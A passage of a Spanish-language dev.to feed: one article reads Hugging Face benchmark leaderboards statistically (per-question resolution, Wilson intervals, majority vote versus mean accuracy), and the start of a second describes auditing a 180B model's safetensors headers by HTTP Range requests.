&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"{'benchmark':32}{'n':&amp;gt;7}{'1 item':&amp;gt;8}{'gap pts':&amp;gt;9}{'gap items':&amp;gt;11}   95% CI of #1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="no"&gt;N&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;boards&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;boards&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;gap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;lo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;wilson&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"{i:32}{n:&amp;gt;7}{100 / n:&amp;gt;8.3f}{gap:&amp;gt;9.2f}{gap * n / 100:&amp;gt;11.1f}   {lo:5.1f} to {hi:5.1f}"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La salida que obtuve el 11 de noviembre de 2026 a las 11:28 (hora de Corea):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;benchmarks: 59 | entries: 1389
verified=true: 0
with notes: 590
notes mention majority/voting: 26
benchmark                             n  1 item  gap pts  gap items   95% CI of #1
Idavidrein/gpqa                     198   0.505     0.24        0.5    90.3 to  96.9
TIGER-Lab/MMLU-Pro                12032   0.008     1.63      196.1    89.2 to  90.3
MathArena/aime_2026                  30   3.333     0.00        0.0    88.6 to 100.0
MathArena/hmmt_feb_2026             33   3.030     4.80        1.6    89.6 to 100.0
cais/hle                          2500   0.040     6.10      152.5    68.2 to  71.8
SWE-bench/SWE-bench_Verified       500   0.200     0.40        2.0    82.7 to  88.8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Los tamaños &lt;code&gt;n&lt;/code&gt; salen de fuentes públicas: 198 (GPQA Diamond), 12.032 (MMLU-Pro, división de test), 30 (AIME 2026), 33 (HMMT febrero 2026) y 500 (SWE-bench Verified) aparecen en las notas de los propios resultados o en los metadatos del dataset, y 2.500 (HLE) en la nota del resultado de Kimi-K3.1-Pro y en la documentación del Hub. Los números cambian a diario porque entran modelos nuevos; que tu ejecución no coincida al decimal es lo esperado.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué significa que ninguno de los 1.389 resultados esté verificado?
&lt;/h2&gt;

&lt;p&gt;Significa que, hoy, cada cifra de estas tablas es lo que cada equipo declara en su ficha. No significa que sean falsas. Muchas traen una nota de protocolo detallada y una fuente enlazada, y eso permite repetirlas. Pero la tabla no puede decirte que alguien las repitió.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Con%2520sello%2520verified%2522%252C%2522Con%2520nota%2520de%2520protocolo%2522%252C%2522Sin%2520nota%2520de%2520protocolo%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522resultados%2522%252C%2522data%2522%253A%255B0%252C590%252C799%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%252316a34a%2522%252C%2522%252364748b%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Los%25201.389%2520resultados%2520de%2520los%252059%2520rankings%2520oficiales%2520%252811-nov-2026%2529%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522n%255Cu00famero%2520de%2520resultados%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Con%2520sello%2520verified%2522%252C%2522Con%2520nota%2520de%2520protocolo%2522%252C%2522Sin%2520nota%2520de%2520protocolo%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522resultados%2522%252C%2522data%2522%253A%255B0%252C590%252C799%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523dc2626%2522%252C%2522%252316a34a%2522%252C%2522%252364748b%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Los%25201.389%2520resultados%2520de%2520los%252059%2520rankings%2520oficiales%2520%252811-nov-2026%2529%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522n%255Cu00famero%2520de%2520resultados%2522%257D%257D%255D%257D%257D%257D" alt="Resultados con sello, con nota de protocolo y sin nota" width="1800" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La gráfica muestra otra cara del mismo asunto: 799 de los 1.389 resultados (57,5 %) no traen ninguna nota. Sin nota no sabes si hubo herramientas, cuántas muestras, qué presupuesto de razonamiento ni si la cifra es de una sola corrida. Entre los que sí la traen, 92 mencionan &lt;code&gt;tools&lt;/code&gt; (con herramientas o sin ellas, &lt;code&gt;no-tools&lt;/code&gt;) y 26 voto mayoritario. Compararlos sin leerlas es comparar protocolos distintos como si fueran el mismo.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuánto vale un punto? La resolución del benchmark
&lt;/h2&gt;

&lt;p&gt;Aquí está el cálculo que casi nunca se hace. Si un benchmark tiene &lt;code&gt;n&lt;/code&gt; preguntas, un acierto más sube la nota &lt;code&gt;100 / n&lt;/code&gt; puntos. En GPQA Diamond son 0,505 puntos por pregunta. Un 94,44 equivale exactamente a 187 de 198, y un 93,43 a 185 de 198: dos preguntas de diferencia.&lt;/p&gt;

&lt;p&gt;El primer puesto de GPQA en la tabla es 94,44 y el segundo 94,2. La diferencia, 0,24 puntos, son 0,5 preguntas. Además, 94,2 no corresponde a un número entero de aciertos (daría 186,5 de 198), así que no es una sola corrida contada pregunta a pregunta, y su ficha no trae nota de protocolo. No es un reproche: simplemente no se puede saber, y esa es la cuestión.&lt;/p&gt;

&lt;p&gt;Para estimar el ruido de muestreo uso el intervalo de Wilson al 95 %, que se comporta bien con proporciones cercanas al 100 % y con &lt;code&gt;n&lt;/code&gt; pequeño (el intervalo normal clásico se sale del rango). Para el 94,44 de GPQA da de 90,3 a 96,9. Para el 100 de AIME 2026 con 30 problemas, de 88,6 a 100: un 100 sobre 30 problemas es compatible con un modelo que falla uno de cada nueve.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522GPQA%2520Diamond%2520%2528198%2529%2522%252C%2522MMLU-Pro%2520%252812.032%2529%2522%252C%2522AIME%25202026%2520%252830%2529%2522%252C%2522HMMT%2520feb.%25202026%2520%252833%2529%2522%252C%2522HLE%2520%25282.500%2529%2522%252C%2522SWE-bench%2520Verified%2520%2528500%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Margen%2520entre%2520el%25201.%255Cu00ba%2520y%2520el%25202.%255Cu00ba%2520%2528puntos%2529%2522%252C%2522data%2522%253A%255B0.24%252C1.63%252C0.0%252C4.8%252C6.1%252C0.4%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%252C%257B%2522label%2522%253A%2522Ancho%2520del%2520intervalo%2520de%2520confianza%252095%2520%2525%2520del%25201.%255Cu00ba%2520%2528puntos%2529%2522%252C%2522data%2522%253A%255B6.6%252C1.1%252C11.4%252C10.4%252C3.6%252C6.1%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Atrue%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Margen%2520del%2520primer%2520puesto%2520frente%2520al%2520ruido%2520de%2520muestreo%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522puntos%2520porcentuales%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522GPQA%2520Diamond%2520%2528198%2529%2522%252C%2522MMLU-Pro%2520%252812.032%2529%2522%252C%2522AIME%25202026%2520%252830%2529%2522%252C%2522HMMT%2520feb.%25202026%2520%252833%2529%2522%252C%2522HLE%2520%25282.500%2529%2522%252C%2522SWE-bench%2520Verified%2520%2528500%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Margen%2520entre%2520el%25201.%255Cu00ba%2520y%2520el%25202.%255Cu00ba%2520%2528puntos%2529%2522%252C%2522data%2522%253A%255B0.24%252C1.63%252C0.0%252C4.8%252C6.1%252C0.4%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%252C%257B%2522label%2522%253A%2522Ancho%2520del%2520intervalo%2520de%2520confianza%252095%2520%2525%2520del%25201.%255Cu00ba%2520%2528puntos%2529%2522%252C%2522data%2522%253A%255B6.6%252C1.1%252C11.4%252C10.4%252C3.6%252C6.1%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Atrue%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Margen%2520del%2520primer%2520puesto%2520frente%2520al%2520ruido%2520de%2520muestreo%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522puntos%2520porcentuales%2522%257D%257D%255D%257D%257D%257D" alt="Margen del primero frente al ancho del intervalo de confianza en seis rankings" width="1800" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La regla práctica que sale de la gráfica: cuando el margen entre el 1.º y el 2.º es menor que el ancho del intervalo, no hay base estadística para ordenarlos. Eso pasa en GPQA, AIME 2026, HMMT y SWE-bench Verified. En cambio, en MMLU-Pro (1,63 puntos con 12.032 preguntas) y en HLE (6,1 puntos con 2.500) el margen sí supera el ruido de muestreo. Con la salvedad de que esta es una aproximación conservadora: al comparar dos modelos sobre las mismas preguntas, un test pareado es más sensible que mirar intervalos por separado. Pero necesita las respuestas por pregunta, que la tabla no publica.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué cifra está mostrando el ranking cuando hay voto mayoritario?
&lt;/h2&gt;

&lt;p&gt;Este es el caso donde la nota importa más, y lo vemos en nuestros propios resultados. Las notas de Darwin-180B-RSI en AIME 2026 y HMMT febrero 2026 dicen que el valor del ranking es el voto mayoritario de 16 muestras (maj@16) y, en la misma nota, dan la exactitud media de esas 16 muestras: 98,75 en AIME y 96,59 en HMMT, frente al 100 de la tabla en ambos.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522AIME%25202026%2520%252830%2520problemas%2529%2522%252C%2522HMMT%2520feb.%25202026%2520%252833%2520problemas%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Voto%2520mayoritario%2520de%252016%2520muestras%2520%2528lo%2520que%2520muestra%2520el%2520ranking%2529%2522%252C%2522data%2522%253A%255B100.0%252C100.0%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%252C%257B%2522label%2522%253A%2522Exactitud%2520media%2520de%2520las%252016%2520muestras%2522%252C%2522data%2522%253A%255B98.75%252C96.59%255D%252C%2522backgroundColor%2522%253A%2522%252316a34a%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Atrue%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Un%2520mismo%2520modelo%252C%2520dos%2520n%255Cu00fameros%2520en%2520la%2520misma%2520nota%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A90%252C%2522max%2522%253A101%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522exactitud%2520%2528%2525%2529%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D900%26h%3D440%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522AIME%25202026%2520%252830%2520problemas%2529%2522%252C%2522HMMT%2520feb.%25202026%2520%252833%2520problemas%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Voto%2520mayoritario%2520de%252016%2520muestras%2520%2528lo%2520que%2520muestra%2520el%2520ranking%2529%2522%252C%2522data%2522%253A%255B100.0%252C100.0%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%252C%257B%2522label%2522%253A%2522Exactitud%2520media%2520de%2520las%252016%2520muestras%2522%252C%2522data%2522%253A%255B98.75%252C96.59%255D%252C%2522backgroundColor%2522%253A%2522%252316a34a%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522legend%2522%253A%257B%2522display%2522%253Atrue%257D%252C%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Un%2520mismo%2520modelo%252C%2520dos%2520n%255Cu00fameros%2520en%2520la%2520misma%2520nota%2522%252C%2522fontSize%2522%253A16%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A90%252C%2522max%2522%253A101%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522exactitud%2520%2528%2525%2529%2522%257D%257D%255D%257D%257D%257D" alt="Voto mayoritario frente a exactitud media de 16 muestras, con el eje vertical empezando en 90" width="1800" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(El eje vertical de esta gráfica empieza en 90 para que se vea la diferencia; no leas las alturas como proporciones.)&lt;/p&gt;

&lt;p&gt;Ninguna de las dos cifras es incorrecta, pero responden preguntas distintas. El voto mayoritario dice qué responde el modelo si pagas 16 muestras por pregunta y te quedas con la más frecuente. La media dice qué te toca en una sola llamada. Para un producto con latencia y coste por token, la segunda es la más cercana a tu experiencia. La tabla muestra la primera. Y en GPQA ocurre lo mismo: el 94,44 de Darwin-180B-RSI es un voto mayoritario de hasta 16 muestras, mientras que Darwin-397B-ZTC figura con 93,43 en el puesto 4 con decodificación voraz y una sola muestra. Son dos protocolos en la misma columna.&lt;/p&gt;

&lt;p&gt;Tomo de ahí una conclusión que vale para nuestra propia comunicación: un primer puesto por 0,24 puntos en 198 preguntas, con voto mayoritario, no demuestra que el modelo sea mejor que el segundo. Lo que sí es verificable por cualquiera es el dato del repositorio: valor, protocolo declarado y fuente enlazada.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo uso esto en la práctica?
&lt;/h2&gt;

&lt;p&gt;Una lista corta de hábitos que me funcionan al leer cualquier ranking:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Busca &lt;code&gt;n&lt;/code&gt; antes que el valor.&lt;/strong&gt; Calcula &lt;code&gt;100 / n&lt;/code&gt;. Si el margen que te venden es de una o dos preguntas, es empate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lee la nota entera.&lt;/strong&gt; Herramientas, número de muestras, presupuesto de razonamiento y tipo de decodificación cambian la cifra más que el modelo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Distingue declarado de verificado.&lt;/strong&gt; Hoy el campo &lt;code&gt;verified&lt;/code&gt; vale &lt;code&gt;false&lt;/code&gt; en todos los resultados que descargué; mira de nuevo cuando lo repitas, porque debería cambiar.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compara dentro del mismo protocolo.&lt;/strong&gt; Voto mayoritario con voto mayoritario, una muestra con una muestra.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repite la descarga.&lt;/strong&gt; Las tablas se mueven a diario; guarda el JSON con fecha si vas a citarlo.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Nuestros resultados en estas tablas están en la misma situación que los demás: 27 filas en total, 11 primeros puestos más un empate a 100 en AIME 2026 (donde figuramos segundos por orden de lista), todos con &lt;code&gt;verified&lt;/code&gt; en &lt;code&gt;false&lt;/code&gt;. Si quieres contrastar cualquiera, el script de arriba te da la fila, la nota y la fuente en segundos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Dónde se pide la lista de rankings oficiales de Hugging Face?&lt;/strong&gt;&lt;br&gt;
Con &lt;code&gt;GET https://huggingface.co/api/datasets?filter=benchmark:official&amp;amp;limit=200&lt;/code&gt;. Cada ranking está en &lt;code&gt;GET /api/datasets/&amp;lt;id&amp;gt;/leaderboard&lt;/code&gt;, sin clave de API. El día de esta medición eran 59 benchmarks, 53 con resultados y 6 vacíos.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Qué significa &lt;code&gt;verified&lt;/code&gt; en un resultado de Hugging Face?&lt;/strong&gt;&lt;br&gt;
Que hay un &lt;code&gt;verifyToken&lt;/code&gt; válido: la evaluación se ejecutó en HF Jobs con inspect-ai. En los 1.389 resultados que descargué el 11 de noviembre de 2026, ninguno lo tiene.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué usar el intervalo de Wilson y no el normal?&lt;/strong&gt;&lt;br&gt;
Porque con proporciones cerca del 100 % y pocas preguntas (30 en AIME), el intervalo normal puede pasarse de 100. Wilson se mantiene dentro del rango y cubre mejor con &lt;code&gt;n&lt;/code&gt; pequeño.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Un margen menor que el intervalo prueba que dos modelos son iguales?&lt;/strong&gt;&lt;br&gt;
No: solo dice que esta tabla no alcanza para ordenarlos. Un test pareado sobre las respuestas por pregunta puede separar modelos que los intervalos individuales no separan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cuál es la diferencia entre voto mayoritario y exactitud media?&lt;/strong&gt;&lt;br&gt;
El voto mayoritario (maj@k) toma la respuesta más frecuente entre k muestras; la exactitud media promedia el acierto de cada muestra. La primera suele ser mayor y cuesta k veces más cómputo por pregunta.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Estas tablas sirven para elegir un modelo para producción?&lt;/strong&gt;&lt;br&gt;
Sirven para preseleccionar. La decisión final debería apoyarse en una evaluación propia con tus datos, tu latencia y un protocolo de una sola llamada si eso es lo que usarás.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/la-misma-molecula-otra-gpu-otro-puesto-como-una-tarjeta-barata-cambio-un-ranking-sin-dar-ningun-367c"&gt;La misma molécula, otra GPU, otro puesto: cómo una tarjeta barata cambió un ranking sin dar ningún error&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/demostrar-con-tablas-de-clasificacion-publicas-importa-mas-quien-corrige-421a"&gt;Demostrar con tablas de clasificación públicas: importa más quien corrige&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fuentes: &lt;a href="https://huggingface.co/docs/hub/eval-results" rel="noopener noreferrer"&gt;documentación de resultados de evaluación del Hub de Hugging Face&lt;/a&gt;, &lt;a href="https://huggingface.co/datasets/Idavidrein/gpqa" rel="noopener noreferrer"&gt;ranking de GPQA&lt;/a&gt;, &lt;a href="https://huggingface.co/datasets/MathArena/aime_2026" rel="noopener noreferrer"&gt;ranking de AIME 2026&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>benchmark</category>
      <category>huggingface</category>
    </item>
    <item>
      <title>Auditar un modelo de 180B sin descargarlo: leer cabeceras safetensors por HTTP Range con Python</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Sun, 08 Nov 2026 21:06:06 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/auditar-un-modelo-de-180b-sin-descargarlo-leer-cabeceras-safetensors-por-http-range-con-python-26a6</link>
      <guid>https://dev.to/_0e3192755d4df45b92/auditar-un-modelo-de-180b-sin-descargarlo-leer-cabeceras-safetensors-por-http-range-con-python-26a6</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Antes de reservar 8 GPU o de bajar 360 GB, puedes auditar un checkpoint de Hugging Face leyendo solo las cabeceras de sus archivos &lt;code&gt;safetensors&lt;/code&gt;. Lo hice con Darwin-180B-RSI-R3 (un MoE de 512 expertos, &lt;code&gt;FINAL-Bench/Darwin-180B-RSI-R3&lt;/code&gt;): 131 shards, 262 peticiones HTTP Range y 229.760 bytes leídos (224 KiB, unas 1,57 millones de veces menos que los 360 GB del modelo). Con eso comprobé que los 131 shards tienen el tamaño que declara su cabecera, que los 1.658 tensores del índice coinciden uno a uno con los de las cabeceras y que el total es 179.999.981.459 parámetros, el mismo número que publica la API de Hugging Face. Además salen tres datos de diseño útiles: el 67,1 % de los parámetros son expertos enrutados, el 28,8 % son tablas de embeddings (n-gram) que no se multiplican enteras en cada token, y la caché K/V a 262.144 tokens ocupa 6,0 GiB por secuencia porque solo 12 de las 48 capas usan atención completa. Abajo está el script completo y una calculadora de memoria.&lt;/p&gt;

&lt;p&gt;Aviso de entrada: este es un modelo de VIDRAFT y esta cuenta es de VIDRAFT. Todo lo que mido son archivos públicos del repositorio, y cualquiera puede repetir el análisis con el código de este artículo.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Por qué auditar un checkpoint antes de descargarlo?
&lt;/h2&gt;

&lt;p&gt;Un modelo de 180B en BF16 pesa 360,0 GB (335,3 GiB) repartidos en 131 archivos. Si te equivocas al planificar, lo descubres después de horas de descarga o, peor, cuando &lt;code&gt;vllm serve&lt;/code&gt; se queda sin memoria. Con unos pocos kilobytes de metadatos respondes de antemano tres preguntas de ingeniería:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;¿Está completo y es coherente? (tamaños, offsets, índice)&lt;/li&gt;
&lt;li&gt;¿Dónde están los parámetros? (expertos, atención, embeddings)&lt;/li&gt;
&lt;li&gt;¿Cabe en mi hardware, y con cuánto contexto?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  ¿Cómo se leen las cabeceras safetensors sin bajar los pesos?
&lt;/h2&gt;

&lt;p&gt;El formato &lt;code&gt;safetensors&lt;/code&gt; es deliberadamente simple: los primeros 8 bytes son un entero &lt;code&gt;u64&lt;/code&gt; little-endian con el largo &lt;code&gt;n&lt;/code&gt; de una cabecera JSON; después vienen &lt;code&gt;n&lt;/code&gt; bytes de JSON con, por cada tensor, su &lt;code&gt;dtype&lt;/code&gt;, su &lt;code&gt;shape&lt;/code&gt; y su &lt;code&gt;data_offsets&lt;/code&gt; (inicio y fin dentro de la zona de datos). Los pesos van a continuación. Como Hugging Face sirve los archivos con soporte de &lt;code&gt;Range&lt;/code&gt;, basta con pedir &lt;code&gt;bytes=0-7&lt;/code&gt; y luego &lt;code&gt;bytes=8-(8+n-1)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Este es el script completo que ejecuté (solo biblioteca estándar de Python):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;
